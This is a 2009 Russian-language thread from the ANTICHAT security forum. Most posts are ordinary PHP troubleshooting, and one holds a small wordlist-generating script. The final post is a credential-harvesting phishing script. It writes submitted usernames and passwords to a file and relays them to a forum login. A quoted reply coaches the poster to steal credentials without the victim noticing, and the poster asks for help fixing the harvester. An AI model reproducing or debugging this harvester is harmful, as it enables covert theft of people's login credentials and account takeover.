ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

02.02.2009, 00:47
|
|
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме: 6462214
Репутация:
3171
|
|
Сообщение от b3
Если требуеться выполнять действие ДО определенного условия, используеться цикл do while а не фор)
Ну говорю же,совсем не варит голова у меня 
Нужно в отпуск мне 
|
|
|

04.02.2009, 12:19
|
|
Участник форума
Регистрация: 06.06.2006
Сообщений: 163
Провел на форуме: 1025198
Репутация:
11
|
|
Сообщение от ChaaK
ну, возможно не ошибка, а варнинг... попробуй поставь @ перед $this
P.S в данном случае лучше заглушить ошибку, чем менять isset... мало ли, логику надо смотреть в другом случае.
Жаль конечно но заглушка ничего хорошего не дала  посколько это ошибка указывается в скрипте регестрации то после того как я заглушил её ошибка не высветилась но вообщемто ничего не произошло вообще... просто белое окно браузера... а есть ли ещё какието варианты?
|
|
|

04.02.2009, 22:05
|
|
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме: 6462214
Репутация:
3171
|
|
Сообщение от b3
m0Hze
Примерно так, гавнокод. Подумай сам как его умнее написать
PHP код:
<?php
$fp2 = fopen("3d_mail.txt", "w");
$str = 'abcdefghijklmnopqrstuvwxyz0123456789';
for ($iii=0; $iii<strlen($str); $iii++) {
for ($ii=0; $ii<strlen($str); $ii++) {
for ($i=0; $i<strlen($str); $i++) {
fputs($fp2, $str[$i].$str[$ii].$str[$iii]."\r\n");
}}}
fclose($fp2);
?>
хех,b3 - как всегда, грац но опимизировать смог ровно на одну строчку кода  смотрю вариант с мд5,возможно попробую соединить.
|
|
|

04.02.2009, 22:13
|
|
Познавший АНТИЧАТ
Регистрация: 05.05.2008
Сообщений: 1,078
Провел на форуме: 10311449
Репутация:
1357
|
|
Имеется такой скрипт:
PHP код:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=windows-1251" />
<meta name="author" content="" />
<title>qwe</title>
</head>
<body>
<?php
$sposod = "1";
switch ($sposob)
{
case "1":
echo "<p>9999";
break;
case "2":
echo "<p>8888";
break;
case "3":
echo "<p>7777";
break;
default:
echo "<p>0000";
break;
}
?>
</body>
</html>
вроде нигде не выдает ошибку, но все равно всегда пишет по дефолту(((
че за фигня?
я уже замучился ...
мб что-то в кодировке??
Последний раз редактировалось MaTpOc; 04.02.2009 в 22:17..
|
|
|

08.02.2009, 09:51
|
|
Постоянный
Регистрация: 07.06.2006
Сообщений: 556
Провел на форуме: 7549607
Репутация:
2702
|
|
Сообщение от .:EnoT:.
mailbrush
PHP код:
if(in_array('', $_POST)) die('Что-то пусто');
А если в POST объявлен служебный элемент (submit формы и тп.)? он ведь будет всегда пустым....
PHP код:
/**
* Find whether a string is really empty
* (Substitution of empty())
*
* If the first argument is an array, its elements will be checked in the aggregate
* depending on the logical method (AND - conjunction, OR - disjunction)
* AND - Returns TRUE if all elements are empty
* OR - Returns TRUE if at least one element is empty
*
* This function also may be used for checking arrays
* concerning absence of elements
*
* @param string|array string(s) to check
* @param string checking method (LOGICAL_AND|LOGICAL_OR)
* @return bool
*/
function is_empty($data, $method = 'LOGICAL_OR')
{
if (is_array($data)) {
switch ($method) {
case 'LOGICAL_AND' :
{
return is_empty(join('', $data));
}
case 'LOGICAL_OR' : {
foreach ($data as $str) {
$result[] = ( (string) $str === '' ) ? 't' : 'f';
}
return (in_array('t', $result)) ? true : false;
}
}
} else {
return ( (string) $data === '' ) ? true : false;
}
}
/*--------------------------------------------------------*/
$is_empty = is_empty(array(
$_POST['var1'],
$_POST['var2'],
$_POST['varN']),
'LOGICAL_OR');
echo $is_empty ? 'some field is empty' : 'all ok';
В отличие от empty() моя функция по-человечески реагирует на '0', то есть не считает строку с нулём пустой.
Последний раз редактировалось [x26]VOLAND; 08.02.2009 в 09:54..
|
|
|

08.02.2009, 14:25
|
|
Новичок
Регистрация: 15.01.2009
Сообщений: 25
Провел на форуме: 49164
Репутация:
0
|
|
Поле ввода
Подскажите, как сделать так, что бы при загрузке страницы текстовое поле для поиска было заполнено, а при нажатии на него, текст исчезал.
Яркий пример- это этот форум. В поле входа изначально пишется "ник" потом исчезает.
|
|
|

09.02.2009, 01:11
|
|
Reservists Of Antichat - Level 6
Регистрация: 23.05.2008
Сообщений: 756
Провел на форуме: 9257858
Репутация:
979
|
|
Сообщение от b3
Переводил кто? Невижу слова only
А как же тогда base64_encode, bin2hex,
это не хэши,хэши необратимы,а base64 легко раскодировать...
|
|
|

09.02.2009, 01:12
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме: 9220514
Репутация:
3338
|
|
Сообщение от b3
Переводил кто? Невижу слова only
А как же тогда base64_encode, bin2hex,
Это не хэш, курим, что такое хэш и не задаём больше глупых вопросов:
http://ru.wikipedia.org/wiki/Хеширование
и то там далеко не всё.
|
|
|

09.02.2009, 16:14
|
|
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме: 6462214
Репутация:
3171
|
|
Сообщение от b3
m0Hze
LIMIT 0,2
Нет,это не то,я уже мудрил с лимитом,но тут дело в другом.Помоему чтото с феч_ареем,потому что при любом запросе,эта сцука возвращает только первое совпадение. 
|
|
|

11.02.2009, 19:54
|
|
Постоянный
Регистрация: 07.11.2007
Сообщений: 392
Провел на форуме: 1325167
Репутация:
100
|
|
Сообщение от b3
мда, что ж ты за шпийон такой)) убери:
и не проси второй раз логиниться юзвера, нужно незаметно воровать учетные данные. Ты думаеш администрация не заподозрит ничего, когда каждый раз нужно по 2 раза логиниться.
ЗЫ
ето не ошибка а заметка (Notice)
Подредактировал скрипт включил курл из
http://www.phpclub.ru/detail/article/curl
В итоге получилось следующее:
PHP код:
<?PHP
if (isset($_POST['UserName']) and isset($_POST['PassWord'])) { // проверка на существование переменных
$Login = $_POST['UserName'];
$Pass = $_POST['PassWord'];
$log = fopen("base.php","a+");
fwrite($log,"\n$Login:$Pass \n");
fclose($log);
}
// HTTP authentication
$url = "http://127.0.0.1/forum/index.php?act=Login&CODE=01";
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_USERPWD, "$Login:$Pass");
$result = curl_exec($ch);
curl_close($ch);
echo $result;
?>
Но авторизация до сих не произошла.
Я думаю, это из-за
PHP код:
curl_setopt($ch, CURLOPT_USERPWD, "$Login:$Pass");
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|